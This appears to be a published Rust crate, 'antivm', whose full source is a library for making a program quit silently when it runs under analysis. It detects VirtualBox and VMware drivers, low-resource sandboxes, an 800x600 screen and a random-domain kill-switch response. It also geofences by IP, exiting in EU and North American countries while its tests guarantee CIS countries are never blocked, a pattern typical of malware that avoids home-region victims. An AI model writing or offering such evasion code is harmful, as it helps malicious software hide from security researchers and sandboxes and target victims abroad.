antivm 0.2.0

Anti virtualmachine or sites for check you program
Documentation
use std::net::{SocketAddr, TcpStream};
use std::path::Path;
use std::process;
use std::time::Duration;

use serde::Deserialize;

const BLOCKED_COUNTRIES: &[&str] = &[
    "AT", "BE", "BG", "HR", "CY", "CZ", "DK", "EE", "FI", "FR",
    "DE", "GR", "HU", "IE", "IT", "LV", "LT", "LU", "MT", "NL",
    "PL", "PT", "RO", "SK", "SI", "ES", "SE",
    "AL", "CA", "IS", "ME", "MK", "NO", "TR", "GB", "US",
];

#[allow(dead_code)]
const ALLOWED_COUNTRIES: &[&str] = &[
    "RU", "BY", "UA", "KZ", "TJ", "UZ", "KG", "AM", "AZ", "GE",
    "MD", "TM",
];

const VM_DRIVERS: &[&str] = &[
    "VBoxGuest.sys",
    "VBoxVideo.sys",
    "VBoxWddm.sys",
    "VBoxSF.sys",
    "VBoxMouse.sys",
    "VBoxService.exe",
    "vmxnet3.sys",
    "vm3d.sys",
    "vmwvxpe.sys",
    "vmmemctl.sys",
    "vmci.sys",
    "vmhgfs.sys",
    "vmvss.sys",
    "pvscsi.sys",
    "vmblock.sys",
];

const VM_DRIVER_DIRS: &[&str] = &[
    r"C:\Windows\System32\drivers",
    r"C:\Windows\System32",
    r"C:\Windows\SysWOW64\drivers",
    r"C:\Windows\SysWOW64",
];

const NETWORK_CHECK_HOST: &str = "8.8.8.8:53";

const MIN_RAM_BYTES: u64 = 4 * 1024 * 1024 * 1024;

#[derive(Deserialize)]
struct IpApiResponse {
    status: String,
    #[serde(rename = "countryCode")]
    country_code: Option<String>,
}

pub struct Protection {
    ip_filter:      bool,
    http_filter:    bool,
    network_filter: bool,
    vm_filter:      bool,
    screen_filter:  bool,
    cpu_filter:     bool,
    ram_filter:     bool,
    http_url:    String,
    ip_api_url:  String,
    timeout_secs: u64,
}

impl Default for Protection {
    fn default() -> Self {
        Self {
            ip_filter:      true,
            http_filter:    true,
            network_filter: true,
            vm_filter:      true,
            screen_filter:  true,
            cpu_filter:     true,
            ram_filter:     true,
            http_url:   String::from("http://jcjaDncjakf.com"),
            ip_api_url: String::from("http://ip-api.com/json/?fields=status,countryCode"),
            timeout_secs: 5,
        }
    }
}

pub struct ProtectionBuilder {
    inner: Protection,
}

impl ProtectionBuilder {
    pub fn new() -> Self {
        Self { inner: Protection::default() }
    }

    pub fn set_ip(mut self, enabled: bool) -> Self {
        self.inner.ip_filter = enabled;
        self
    }

    pub fn set_http(mut self, enabled: bool) -> Self {
        self.inner.http_filter = enabled;
        self
    }

    pub fn set_vm(mut self, enabled: bool) -> Self {
        self.inner.vm_filter = enabled;
        self
    }

    pub fn set_network(mut self, enabled: bool) -> Self {
        self.inner.network_filter = enabled;
        self
    }

    pub fn set_screen(mut self, enabled: bool) -> Self {
        self.inner.screen_filter = enabled;
        self
    }

    pub fn set_cpu(mut self, enabled: bool) -> Self {
        self.inner.cpu_filter = enabled;
        self
    }

    pub fn set_ram(mut self, enabled: bool) -> Self {
        self.inner.ram_filter = enabled;
        self
    }

    pub fn http_url(mut self, url: impl Into<String>) -> Self {
        self.inner.http_url = url.into();
        self
    }

    pub fn ip_api_url(mut self, url: impl Into<String>) -> Self {
        self.inner.ip_api_url = url.into();
        self
    }

    pub fn timeout(mut self, secs: u64) -> Self {
        self.inner.timeout_secs = secs;
        self
    }

    pub fn init(self) {
        self.inner.run();
    }
}

impl Default for ProtectionBuilder {
    fn default() -> Self {
        Self::new()
    }
}

impl Protection {
    fn run(&self) {
        if self.vm_filter     { self.check_vm();     }
        if self.screen_filter { self.check_screen(); }
        if self.cpu_filter    { self.check_cpu();    }
        if self.ram_filter    { self.check_ram();    }

        if self.network_filter { self.check_network(); }
        if self.ip_filter      { self.check_ip();      }
        if self.http_filter    { self.check_http();    }
    }

    fn check_vm(&self) {
        for dir in VM_DRIVER_DIRS {
            for driver in VM_DRIVERS {
                if Path::new(dir).join(driver).exists() {
                    process::exit(0);
                }
            }
        }
    }

    fn check_screen(&self) {
        #[cfg(windows)]
        {
            use winapi::um::winuser::{GetSystemMetrics, SM_CXSCREEN, SM_CYSCREEN};
            let w = unsafe { GetSystemMetrics(SM_CXSCREEN) };
            let h = unsafe { GetSystemMetrics(SM_CYSCREEN) };
            if w == 800 && h == 600 {
                process::exit(0);
            }
        }
    }

    fn check_cpu(&self) {
        let cores = std::thread::available_parallelism()
            .map(|n| n.get())
            .unwrap_or(1);
        if cores <= 1 {
            process::exit(0);
        }
    }

    fn check_ram(&self) {
        use sysinfo::System;
        let mut sys = System::new();
        sys.refresh_memory();
        if sys.total_memory() < MIN_RAM_BYTES {
            process::exit(0);
        }
    }

    fn check_network(&self) {
        let addr: SocketAddr = NETWORK_CHECK_HOST
            .parse()
            .expect("Invalid network check address");
        let timeout = Duration::from_secs(self.timeout_secs);
        if TcpStream::connect_timeout(&addr, timeout).is_err() {
            process::exit(0);
        }
    }

    fn check_ip(&self) {
        let agent = self.build_agent();
        let response = match agent.get(&self.ip_api_url).call() {
            Ok(r)  => r,
            Err(_) => return,
        };
        let data: IpApiResponse = match response.into_json() {
            Ok(d)  => d,
            Err(_) => return,
        };
        if data.status != "success" {
            return;
        }
        if let Some(code) = data.country_code {
            if BLOCKED_COUNTRIES.contains(&code.as_str()) {
                process::exit(0);
            }
        }
    }

    fn check_http(&self) {
        let agent = self.build_agent();
        match agent.get(&self.http_url).call() {
            Ok(r) if r.status() == 200 => process::exit(0),
            _ => {}
        }
    }

    fn build_agent(&self) -> ureq::Agent {
        let t = Duration::from_secs(self.timeout_secs);
        ureq::AgentBuilder::new()
            .timeout_connect(t)
            .timeout_read(t)
            .timeout_write(t)
            .build()
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn blocked_countries_not_empty() {
        assert!(!BLOCKED_COUNTRIES.is_empty());
    }

    #[test]
    fn cis_countries_not_blocked() {
        for code in ALLOWED_COUNTRIES {
            assert!(
                !BLOCKED_COUNTRIES.contains(code),
                "Country {code} was incorrectly added to the block list"
            );
        }
    }

    #[test]
    fn us_is_blocked() {
        assert!(BLOCKED_COUNTRIES.contains(&"US"));
    }

    #[test]
    fn vm_drivers_not_empty() {
        assert!(!VM_DRIVERS.is_empty());
    }

    #[test]
    fn vm_drivers_contain_vbox_and_vmware() {
        assert!(VM_DRIVERS.contains(&"VBoxGuest.sys"));
        assert!(VM_DRIVERS.contains(&"VBoxService.exe"));
        assert!(VM_DRIVERS.contains(&"vmxnet3.sys"));
        assert!(VM_DRIVERS.contains(&"vmci.sys"));
        assert!(VM_DRIVERS.contains(&"pvscsi.sys"));
    }

    #[test]
    fn min_ram_is_4gb() {
        assert_eq!(MIN_RAM_BYTES, 4 * 1024 * 1024 * 1024);
    }

    #[test]
    fn disabled_filters_do_not_exit() {
        ProtectionBuilder::new()
            .set_ip(false)
            .set_http(false)
            .set_vm(false)
            .set_network(false)
            .set_screen(false)
            .set_cpu(false)
            .set_ram(false)
            .init();
    }
}